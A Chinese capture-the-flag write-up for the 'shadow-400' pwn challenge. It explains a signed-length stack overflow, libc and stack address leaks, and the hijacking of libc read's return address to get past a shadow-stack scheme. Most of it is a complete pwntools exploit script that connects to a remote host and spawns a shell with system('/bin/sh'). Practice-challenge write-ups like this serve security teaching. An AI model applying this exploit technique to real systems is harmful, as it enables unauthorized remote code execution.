攻防世界PWN之shadow-400题解
shadow-400
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
程序里面自己实现了call和ret
call函数
push函数
这是主功能区
看不出什么,我们来分析汇编代码
atoi的结果是一个有符号的数,而getline的长度参数为无符号数,为了绕过0x20个长度的限制,我们只需输入负数,即可,就可以栈溢出了。
首先,我们需要泄露libc地址,那么我们只需泄露任意一个libc函数地址即可,我们可以栈溢出,覆盖ebp+arg_0里面的指针为函数的got表,即可泄露了,同时,为了增加利用次数,我们把[ebp+arg8]覆盖为一个很大的数,比如0x100
原本只能利用3次,现在,我们覆盖了[ebp+arg_8]的值,就可以多次利用了
- #覆盖指针,覆盖getline的长度,覆盖循环最大次数,用于泄露函数地址及多次利用
- payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)
- setMessage(payload)
- sh.recvuntil('<')
- atoi_addr = u32(sh.recv(4))
- print 'atoi_addr=',hex(atoi_addr)
- libc = LibcSearcher('atoi',atoi_addr)
- libc_base = atoi_addr - libc.dump('atoi')
- system_addr = libc_base + libc.dump('system')
- binsh_addr = libc_base + libc.dump('str_bin_sh')
现在,我们可以构造ROP了??
如果是一般的步骤,直接构造ROP就可以getshell了,然而,本题没有这么简单。本题自己实现了个shadow call和shadow ret,自己申请了一片空间专门用来管理返回地址,因此,我们覆盖栈里的当前函数的返回地址没有用。因为ret()函数是从自己的那片空间里取出地址返回。
也就是说,只要是这个二进制里的几个函数都不行,那么我们可以考虑劫持libc中的函数的返回地址。因为libc中没有使用这个shadow call和ret。
我们可以直接劫持read的返回地址,这样read结束后直接就执行ROP了。
注意到这里,利用之前的栈溢出,我们覆盖[ebp+arg_0]指针可以实现任意地址读写,如果本题没有FULL RELRO,我们都可以直接在这里修改GOT表了。
我们只需把[ebp+arg_0覆盖为] read的返回地址在栈里存放的位置,然后在这里输入ROP即可
因此,我们还需要泄露栈地址,这样才能确定read返回地址存放的位置。有两种方法泄露栈地址
- 在程序最开始的时候,输入的name长度为16,并且没有空字符,即可输出栈后面的数据,就能得到里面的数据。
- 覆盖指针为libc中的environ变量的地址,environ变量保存着栈地址。
这里,我使用的是第1中方法。因此,程序第一次输入的时候,我们这样
- #泄露栈地址,然后,我们可以计算出劫持read的返回地址存放在栈里的位置
- setName('zhaohai'.ljust(0x10,'a'))
- setMessage('hello,I am zhaohai')
- sh.recvuntil('<')
- sh.recv(0x1C)
- stack_addr = u32(sh.recv(4))
- changeName('n')
- print 'stack_addr=',hex(stack_addr)
- #我们需要利用setName修改这个地方,这里是libc中read返回地址存放处,这里布下ROP即可
- target_addr = stack_addr - 0x100
综上,我们完整的exp脚本
#coding:utf8
from pwn import *
from LibcSearcher import *
#sh = process('./shadow-400')
sh = remote('111.198.29.45',54578)
elf = ELF('./shadow-400')
atoi_got = elf.got['atoi']
def setName(name):
sh.sendafter('Input name :',name)
def setMessage(message):
#-1转换为无符号数,就很大,造成read溢出栈
sh.sendlineafter('Message length :','-1')
sh.sendafter('Input message :',message)
def changeName(c):
sh.sendlineafter('Change name?',c)
#泄露栈地址,然后,我们可以计算出劫持read的返回地址存放在栈里的位置
setName('zhaohai'.ljust(0x10,'a'))
setMessage('hello,I am zhaohai')
sh.recvuntil('<')
sh.recv(0x1C)
stack_addr = u32(sh.recv(4))
changeName('n')
print 'stack_addr=',hex(stack_addr)
#我们需要利用setName修改这个地方,这里是libc中read返回地址存放处,这里布下ROP即可
target_addr = stack_addr - 0x100
#覆盖指针,覆盖getline的长度,覆盖循环最大次数,用于泄露函数地址及多次利用
payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)
setMessage(payload)
sh.recvuntil('<')
atoi_addr = u32(sh.recv(4))
print 'atoi_addr=',hex(atoi_addr)
libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
changeName('n')
#覆盖指针,然后我们利用setName写数据到目标处
payload = 'a'*0x34 + p32(target_addr)
setMessage(payload)
#现在,可以发送ROP了
rop = p32(system_addr) + p32(0) + p32(binsh_addr)
setName(rop)
sh.interactive()